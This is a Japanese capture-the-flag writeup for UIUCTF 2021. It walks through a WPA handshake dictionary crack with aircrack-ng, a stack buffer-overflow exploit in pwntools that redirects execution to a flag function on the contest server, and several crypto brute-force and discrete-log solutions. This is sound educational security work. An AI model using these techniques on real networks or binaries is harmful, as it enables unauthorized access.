この大会は2021/7/31 9:00(JST)~2021/8/2 9:00(JST)に開催されました。
今回もチームで参戦。結果は1024点で658チーム中83位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome to UIUCTF'21 (meta)
Challengesのページの背景画像をダウンロードする。画像の左下の方にフラグが書いてあった。
uiuctf{secret_pictures}
Join our Discord (meta)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
uiuctf{y0u_j01n3d_tH3_dIsCorD!!!}
CEO (misc)
無線通信のcapファイルが添付されているので、パスワードをクラックする。
$ aircrack-ng -w dict/rockyou.txt megacorp-01.cap Opening megacorp-01.cap Read 1914 packets. # BSSID ESSID Encryption 1 E4:95:6E:45:90:24 joesheer WPA (1 handshake) Choosing first network as target. Opening megacorp-01.cap Reading packets, please wait... Aircrack-ng 1.2 rc4 [00:17:31] 3235192/9822769 keys tested (3189.21 k/s) Time left: 34 minutes, 25 seconds 32.94% KEY FOUND! [ nanotechnology ] Master Key : 12 71 F9 32 8F FA BF E0 E2 80 F5 D3 F8 E0 A7 C0 73 E1 BB 0C AE 51 08 DA CF FD D3 7A 79 04 73 15 Transient Key : C9 9A 13 11 AC A8 3E 65 76 21 6F F1 89 B2 E2 BE D9 6C 1C CF AC 16 F6 95 E1 93 05 94 A2 43 EC 52 A8 AB C7 46 C5 45 71 16 5F 1C 82 27 1E 8C B2 B6 7E 03 33 6A 16 E3 15 4E 39 4E EC 4F DB 35 3C CF EAPOL HMAC : 06 C0 57 DC F4 DD 8F 2C F5 98 99 19 9E E3 45 32
uiuctf{nanotechnology}
emote (misc)
Discordで:emote:の絵文字をダウンロードする。
16x16の画像で、左からインデックス0と8の列はすべて黒になっている。黒を0、白を1としてデコードする。
from PIL import Image img = Image.open('emote.png').convert('L') w, h = img.size bin_flag = '' for y in range(0, h): for x in range(0, w): gray = img.getpixel((x, y)) if gray == 0: bin_flag += '0' else: bin_flag += '1' flag = '' for i in range(0, len(bin_flag), 8): flag += chr(int(bin_flag[i:i+8], 2)) print flag
uiuctf{staring_at_pixels_is_fun}
Pwn Warmup (pwn)
Ghidraでデコンパイルする。
void main(void) { setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); puts("This is SIGPwny stack3, go"); printf("&give_flag = %p\n",give_flag); vulnerable(); return; } void vulnerable(void) { char buf [8]; gets(buf); return; } void give_flag(void) { FILE *__stream; int iVar1; char c; FILE *f; __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { puts("Couldn\'t open flag file!"); } else { while( true ) { iVar1 = fgetc(__stream); if ((char)iVar1 == -1) break; putchar((int)(char)iVar1); } } fclose(__stream); return; }
BOFでgive_flag関数を呼び出せばよい。
$ file challenge challenge: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=034b38782406afc6cc18a821825f450b3f104091, with debug_info, not stripped $ checksec.sh --file challenge RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH challenge $ gdb -q challenge Reading symbols from challenge...done. gdb-peda$ start [----------------------------------registers-----------------------------------] EAX: 0xf7faedd8 --> 0xffffd0cc --> 0xffffd296 ("CLUTTER_IM_MODULE=xim") EBX: 0x0 ECX: 0xffffd030 --> 0x1 EDX: 0xffffd054 --> 0x0 ESI: 0xf7fad000 --> 0x1d4d8c EDI: 0x0 EBP: 0xffffd018 --> 0x0 ESP: 0xffffd010 --> 0xf7fe5960 (push ebp) EIP: 0x8048642 (<main+17>: mov eax,ds:0x8049a00) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804863c <main+11>: mov ebp,esp 0x804863e <main+13>: push ecx 0x804863f <main+14>: sub esp,0x4 => 0x8048642 <main+17>: mov eax,ds:0x8049a00 0x8048647 <main+22>: push 0x0 0x8048649 <main+24>: push 0x2 0x804864b <main+26>: push 0x0 0x804864d <main+28>: push eax [------------------------------------stack-------------------------------------] 0000| 0xffffd010 --> 0xf7fe5960 (push ebp) 0004| 0xffffd014 --> 0xffffd030 --> 0x1 0008| 0xffffd018 --> 0x0 0012| 0xffffd01c --> 0xf7df0f21 (<__libc_start_main+241>: add esp,0x10) 0016| 0xffffd020 --> 0xf7fad000 --> 0x1d4d8c 0020| 0xffffd024 --> 0xf7fad000 --> 0x1d4d8c 0024| 0xffffd028 --> 0x0 0028| 0xffffd02c --> 0xf7df0f21 (<__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Temporary breakpoint 1, main () at challenge.c:27 27 challenge.c: そのようなファイルやディレクトリはありません. gdb-peda$ p &give_flag $1 = (void (*)()) 0x80485ab <give_flag> gdb-peda$ disas vulnerable Dump of assembler code for function vulnerable: 0x0804861a <+0>: push ebp 0x0804861b <+1>: mov ebp,esp 0x0804861d <+3>: sub esp,0x18 0x08048620 <+6>: sub esp,0xc 0x08048623 <+9>: lea eax,[ebp-0x10] 0x08048626 <+12>: push eax 0x08048627 <+13>: call 0x8048420 <gets@plt> 0x0804862c <+18>: add esp,0x10 0x0804862f <+21>: leave 0x08048630 <+22>: ret End of assembler dump. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ c Continuing. This is SIGPwny stack3, go &give_flag = 0x80485ab AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xffffcff8 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EBX: 0x0 ECX: 0xf7fad5c0 --> 0xfbad208b EDX: 0xf7fae89c --> 0x0 ESI: 0xf7fad000 --> 0x1d4d8c EDI: 0x0 EBP: 0x41434141 ('AACA') ESP: 0xffffd010 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EIP: 0x41412d41 ('A-AA') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41412d41 [------------------------------------stack-------------------------------------] 0000| 0xffffd010 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0004| 0xffffd014 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0xffffd018 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0012| 0xffffd01c ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0016| 0xffffd020 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0020| 0xffffd024 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0024| 0xffffd028 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0028| 0xffffd02c ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41412d41 in ?? () gdb-peda$ patto A-AA A-AA found at offset: 20
任意の文字の20バイトの後に、give_flag関数のアドレスを指定すればよい。
from pwn import * if len(sys.argv) == 1: p = remote('pwn-warmup.chal.uiuc.tf', 1337) else: p = process('./challenge') if len(sys.argv) == 1: round = 3 else: round = 2 for _ in range(round): data = p.recvline().rstrip() print data give_flag_addr = int(data.split(' ')[-1], 16) payload = 'A' * 20 payload += p32(give_flag_addr) print payload p.sendline(payload) data = p.recvline().rstrip() print data
実行結果は以下の通り。
[+] Opening connection to pwn-warmup.chal.uiuc.tf on port 1337: Done == proof-of-work: disabled == This is pwn_warmup, go &give_flag = 0x565df2ad AAAAAAAAAAAAAAAAAAAA\xad�]V uiuctf{k3b0ard_sp@m_do3snT_w0rk_anYm0r3} [*] Closed connection to pwn-warmup.chal.uiuc.tf port 1337
uiuctf{k3b0ard_sp@m_do3snT_w0rk_anYm0r3}
back_to_basics (crypto)
暗号処理の概要は以下の通り。
・ALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#") ・encrypt(flag, key) ・out = flag ・keyの各文字について以下を実行 ・keyの文字のALPHABETインデックス(=base)でoutをエンコード
1回ずつ次の暗号が復号可能な文字列になるよう復号していく。
#!/usr/bin/python3 from Crypto.Util.number import long_to_bytes, bytes_to_long from gmpy2 import mpz, to_binary ALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#") def base_n_decode(bytes_in, base): try: bytes_out = to_binary(mpz(bytes_in, base=base))[:1:-1] return bytes_out except: return b'*' def is_alphabet(bytes): for b in bytes: if b not in ALPHABET: return False return True with open('flag_enc', 'r') as f: enc = f.read().encode() fin = False while True: base = ALPHABET.index(max(enc)) + 1 for j in range(len(ALPHABET) - base): try_enc = base_n_decode(enc, base) if is_alphabet(try_enc): enc = try_enc break if b'uiuctf{' in try_enc: fin = True flag = try_enc.decode() break base += 1 if fin: break print(flag)
uiuctf{r4DixAL}
dhke_intro (crypto)
暗号化処理の概要は以下の通り。
・gpList = [ [13, 19], [7, 17], [3, 31], [13, 19], [17, 23], [2, 29] ] ・g, pをgpListから選択 ・a, b: 1~pランダム整数 ・k = pow(g, a * b, p) ・padding = "uiuctf2021uiuctf2021" ・key + kの長さが16になるようpadding文字を結合 ・iv: kono DIO daaaaaa ・flagをAES-CFB暗号化して出力
g, p, a, bのブルートフォースで復号する。
#!/usr/bin/python3 from Crypto.Cipher import AES import binascii with open('output.txt', 'r') as f: ciphertext = binascii.unhexlify(f.read().rstrip()) gpList = [ [13, 19], [7, 17], [3, 31], [13, 19], [17, 23], [2, 29] ] padding = 'uiuctf2021uiuctf2021' found = True for g, p in gpList: for a in range(1, p + 1): for b in range(1, p + 1): k = pow(g, a * b, p) k = str(k) key = '' i = 0 while (16 - len(key) != len(k)): key = key + padding[i] i += 1 key = key + k key = bytes(key, encoding='ascii') iv = bytes('kono DIO daaaaaa', encoding = 'ascii') cipher = AES.new(key, AES.MODE_CFB, iv) flag = cipher.decrypt(ciphertext) if b'uiuctf{' in flag: print(flag.decode()) found = True break if found: break if found: break
uiuctf{omae_ha_mou_shindeiru_b9e5f9}
dhke_adventure (crypto)
Pohlig–Hellman algorithmが使えるような1024~2048bitの素数を探す。http://lupus.is.kochi-u.ac.jp/shiota/mc2020/L14.htmlに掲載されている値を使う。
p = 2258968316115259531236612710706864812801625388363886419505487896413704583382991502282273274396238423791479079706354652138857156035724251041017314131706386506243212885895864440421288806441673565124738377440599931624404714724436345388982983221338004707455459667648391257564119040000000000000000000000000000000001
あとはsageに離散対数問題を解かせる。その後、そのデータを使って鍵を生成して、フラグを復号する。
#!/usr/bin/sage import socket from Crypto.Cipher import AES from hashlib import sha256 def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) g = 2 p = 2258968316115259531236612710706864812801625388363886419505487896413704583382991502282273274396238423791479079706354652138857156035724251041017314131706386506243212885895864440421288806441673565124738377440599931624404714724436345388982983221338004707455459667648391257564119040000000000000000000000000000000001 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('dhke-adventure.chal.uiuc.tf', 1337)) data = recvuntil(s, ': \n').rstrip() print data print p s.sendall(str(p) + '\n') data = recvuntil(s, '\n').rstrip() print data dio = int(data.split(' ')[-1]) data = recvuntil(s, '\n').rstrip() print data jotaro = int(data.split(' ')[-1]) data = recvuntil(s, '\n').rstrip() print data ciphertext = data.split(' ')[-1].decode('hex') R = IntegerModRing(p) b = discrete_log(R(jotaro), R(g)) assert pow(g, b, p) == jotaro key = pow(dio, b, p) key = sha256(str(key)).digest() iv = 'uiuctf2021uiuctf' cipher = AES.new(key, AES.MODE_CFB, iv) flag = cipher.decrypt(ciphertext) print flag
実行結果は以下の通り。
I'm too lazy to find parameters for my DHKE, choose for me. Enter prime at least 1024 at most 2048 bits: 2258968316115259531236612710706864812801625388363886419505487896413704583382991502282273274396238423791479079706354652138857156035724251041017314131706386506243212885895864440421288806441673565124738377440599931624404714724436345388982983221338004707455459667648391257564119040000000000000000000000000000000001 Dio sends: 1495696239940174296288493196835526491973717627747404440401033115232648877531495173133980952396655155915666299346658808112733771649385053102602900836465539745099144839819648845220910232523426537010664778100704880452741331239259343180782079213625710807963603075650165357037371233170666685718574460258789507262545 Jotaro sends: 1171845002749125006738213337566790124360651688965354279230219030478749472899184560419706363444005208474996095767774076717761575841830699890688099007838448415981091449859897959563239760739492824759217715256495311363166612842073570294858918576912601587095830895972681525659845801438447977676230840425615763501488 Ciphertext: ed4fb898ce16ff429b87f5e45b38675b9e812ea6b5348d50d799b3c87cf94d6587c3a6e71fe266fea892 uiuctf{give_me_chocolate_every_day_7b8b06}
uiuctf{give_me_chocolate_every_day_7b8b06}
Feedback Survey (meta)
アンケートに答えたら、フラグが表示された。
uiuctf{your_input_is_important_to_us_<3}